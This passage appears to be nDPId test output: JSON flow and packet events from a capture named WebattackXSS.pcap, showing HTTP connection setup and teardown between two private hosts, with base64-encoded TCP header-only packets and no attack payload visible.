+00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3901,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":6,"flow_first_seen":1499347366586,"flow_last_seen":1499347371718,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56428,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3901,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":6,"flow_first_seen":1499347366586,"flow_last_seen":1499347371718,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56428,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3901,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":235,"flow_packet_id":6,"flow_first_seen":1499347369077,"flow_last_seen":1499347374718,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56454,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3901,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":235,"flow_packet_id":6,"flow_first_seen":1499347369077,"flow_last_seen":1499347374718,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56454,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3901,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":6,"flow_first_seen":1499347370339,"flow_last_seen":1499347375719,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56468,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3901,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":6,"flow_first_seen":1499347370339,"flow_last_seen":1499347375719,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56468,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3904,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":275,"flow_packet_id":1,"flow_first_seen":1499347436274,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57170,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":275,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3904,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347436,"pkt_ts_usec":274077,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8W69AAD4GaiGsEAABwKgKMt9SAFA\/BeonAAAAAKACchCjcQAAAgQFtAQCCAoBOrGIAAAAAAEDAwc="} +00444{"flow_id":275,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3906,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347436,"pkt_ts_usec":274223,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ31ICI0S7PwXqKKAScSDWjwAAAgQFtAQCCAoD5IL+ATqxiAEDAwc="} +00433{"flow_id":275,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3907,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347436,"pkt_ts_usec":274969,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W7BAAD4GaiisEAABwKgKMt9SAFA\/BeooAiNEvIAQAOV1lwAAAQEICgE6sYgD5IL+"} +00433{"flow_id":272,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3910,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347436,"pkt_ts_usec":732824,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+sVAAD4GyxKsEAABwKgKMt8cAFA\/1VZSDM0BZYARAOVGBAAAAQEICgE6sfsD5H4H"} +00432{"flow_id":272,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3911,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347436,"pkt_ts_usec":733067,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ghVAAEAGQcPAqAoyrBAAAQBQ3xwMzQFlP9VWU4ARAONAnAAAAQEICgPkg3ABOrH7"} +00433{"flow_id":272,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3912,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347436,"pkt_ts_usec":733809,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+sZAAD4GyxGsEAABwKgKMt8cAFA\/1VZTDM0BZoAQAOVAmgAAAQEICgE6sfsD5INw"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3916,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":276,"flow_packet_id":1,"flow_first_seen":1499347437541,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57184,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":276,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3916,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347437,"pkt_ts_usec":541250,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80SpAAD4G9KWsEAABwKgKMt9gAFCd2mPvAAAAAKACchDJiQAAAgQFtAQCCAoBOrLFAAAAAAEDAwc="} +00444{"flow_id":276,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3917,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347437,"pkt_ts_usec":541350,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ32BqH6Tbndpj8KAScSAzTwAAAgQFtAQCCAoD5IQ6ATqyxQEDAwc="} +00432{"flow_id":276,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3918,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347437,"pkt_ts_usec":542139,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00StAAD4G9KysEAABwKgKMt9gAFCd2mPwah+k3IAQAOXSVgAAAQEICgE6ssUD5IQ6"} +00432{"flow_id":273,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3922,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347437,"pkt_ts_usec":733095,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0roBAAD4GF1isEAABwKgKMt8qAFCuFwOrThmlMIARAOVDBgAAAQEICgE6svUD5H9K"} +00432{"flow_id":273,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3923,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347437,"pkt_ts_usec":733358,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0IVpAAEAGon7AqAoyrBAAAQBQ3ypOGaUwrhcDrIARAOM95wAAAQEICgPkhGoBOrL1"} +00432{"flow_id":273,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3924,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347437,"pkt_ts_usec":734071,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0roFAAD4GF1esEAABwKgKMt8qAFCuFwOsThmlMYAQAOU95QAAAQEICgE6svUD5IRq"} +00432{"flow_id":274,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3931,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347439,"pkt_ts_usec":733179,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JW9AAD4GoGmsEAABwKgKMt84AFAetoqAKjwg4oARAOXwfgAAAQEICgE6tOkD5ICH"} +00432{"flow_id":274,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3932,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347439,"pkt_ts_usec":733463,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0prxAAEAGHRzAqAoyrBAAAQBQ3zgqPCDiHraKgYARAOPqqAAAAQEICgPkhl4BOrTp"} +00432{"flow_id":274,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3933,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347439,"pkt_ts_usec":734183,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JXBAAD4GoGisEAABwKgKMt84AFAetoqBKjwg44AQAOXqpgAAAQEICgE6tOkD5IZe"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3937,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":277,"flow_packet_id":1,"flow_first_seen":1499347440119,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57210,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":277,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3937,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347440,"pkt_ts_usec":119979,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Op5AAD4GizKsEAABwKgKMt96AFDbdo\/XAAAAAKACchBdZwAAAgQFtAQCCAoBOrVJAAAAAAEDAwc="} +00445{"flow_id":277,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3938,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347440,"pkt_ts_usec":120127,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ33qAsDTj23aP2KAScSAeDwAAAgQFtAQCCAoD5Ia\/ATq1SQEDAwc="} +00434{"flow_id":277,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3939,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347440,"pkt_ts_usec":120848,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Op9AAD4GizmsEAABwKgKMt96AFDbdo\/YgLA05IAQAOW9FQAAAQEICgE6tUoD5Ia\/"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3946,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":278,"flow_packet_id":1,"flow_first_seen":1499347441364,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57224,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":278,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3946,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347441,"pkt_ts_usec":364438,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA87qpAAD4G1yWsEAABwKgKMt+IAFCFjlgqAAAAAKACchDptwAAAgQFtAQCCAoBOraAAAAAAAEDAwc="} +00444{"flow_id":278,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3947,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347441,"pkt_ts_usec":364537,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ34gRswTRhY5YK6AScSBIOAAAAgQFtAQCCAoD5If2ATq2gAEDAwc="} +00432{"flow_id":278,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3948,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347441,"pkt_ts_usec":365324,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07qtAAD4G1yysEAABwKgKMt+IAFCFjlgrEbME0oAQAOXnPgAAAQEICgE6toED5If2"} +00433{"flow_id":275,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3952,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347441,"pkt_ts_usec":733868,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W7FAAD4GaiesEAABwKgKMt9SAFA\/BeooAiNEvIARAOVwQQAAAQEICgE6tt0D5IL+"} +00432{"flow_id":275,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3953,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347441,"pkt_ts_usec":734016,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0zO5AAEAG9unAqAoyrBAAAQBQ31ICI0S8PwXqKYAQAONq7gAAAQEICgPkiFMBOrbd"} +00432{"flow_id":275,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3954,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347441,"pkt_ts_usec":734060,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0zO9AAEAG9ujAqAoyrBAAAQBQ31ICI0S8PwXqKYARAONq7QAAAQEICgPkiFMBOrbd"} +00433{"flow_id":275,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3955,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347441,"pkt_ts_usec":734581,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0BXZAAD4GwGKsEAABwKgKMt9SAFA\/BeopAiNEvYAQAOVq6wAAAQEICgE6tt0D5IhT"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3959,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":279,"flow_packet_id":1,"flow_first_seen":1499347442626,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57238,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":279,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3959,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347442,"pkt_ts_usec":626484,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8WP9AAD4GbNGsEAABwKgKMt+WAFAR1u9DAAAAAKACchDFDAAAAgQFtAQCCAoBOre8AAAAAAEDAwc="} +00444{"flow_id":279,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3960,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347442,"pkt_ts_usec":626608,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ35b747kmEdbvRKAScSCDygAAAgQFtAQCCAoD5IkyATq3vAEDAwc="} +00432{"flow_id":279,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3961,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347442,"pkt_ts_usec":627187,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WQBAAD4GbNisEAABwKgKMt+WAFAR1u9E++O5J4AQAOUi0gAAAQEICgE6t7wD5Iky"} +00432{"flow_id":276,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3965,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347442,"pkt_ts_usec":733783,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00SxAAD4G9KusEAABwKgKMt9gAFCd2mPwah+k3IARAOXNQwAAAQEICgE6t9cD5IQ6"} +00432{"flow_id":276,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3966,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347442,"pkt_ts_usec":733973,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0LZBAAEAGlkjAqAoyrBAAAQBQ32BqH6Tcndpj8YARAOPIMgAAAQEICgPkiUwBOrfX"} +00432{"flow_id":276,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3967,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347442,"pkt_ts_usec":734557,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00S1AAD4G9KqsEAABwKgKMt9gAFCd2mPxah+k3YAQAOXIMAAAAQEICgE6t9cD5IlM"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3977,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":280,"flow_packet_id":1,"flow_first_seen":1499347445158,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57264,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":280,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3977,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347445,"pkt_ts_usec":158780,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8\/otAAD4Gx0SsEAABwKgKMt+wAFCaOES+AAAAAKACchDknAAAAgQFtAQCCAoBOro1AAAAAAEDAwc="} +00444{"flow_id":280,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3978,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347445,"pkt_ts_usec":158902,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ37CiJaNtmjhEv6AScSAQWQAAAgQFtAQCCAoD5IurATq6NQEDAwc="} +00434{"flow_id":280,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3979,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347445,"pkt_ts_usec":159670,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/oxAAD4Gx0usEAABwKgKMt+wAFCaOES\/oiWjboAQAOWvYAAAAQEICgE6ujUD5Iur"} +00434{"flow_id":277,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3983,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347445,"pkt_ts_usec":733745,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OqBAAD4GizisEAABwKgKMt96AFDbdo\/YgLA05IARAOW3mQAAAQEICgE6usUD5Ia\/"} +00432{"flow_id":277,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3984,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347445,"pkt_ts_usec":733991,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0uN5AAEAGCvrAqAoyrBAAAQBQ33qAsDTk23aP2YARAOOyHwAAAQEICgPkjDoBOrrF"} +00433{"flow_id":277,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3985,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347445,"pkt_ts_usec":734698,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OqFAAD4GizesEAABwKgKMt96AFDbdo\/ZgLA05YAQAOWyHQAAAQEICgE6usUD5Iw6"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3986,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":6,"flow_first_seen":1499347371602,"flow_last_seen":1499347376719,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56482,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3986,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":6,"flow_first_seen":1499347371602,"flow_last_seen":1499347376719,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56482,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3986,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":6,"flow_first_seen":1499347374136,"flow_last_seen":1499347379720,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56508,"dst_port":80,"l4_proto":"tcp","ndpi": 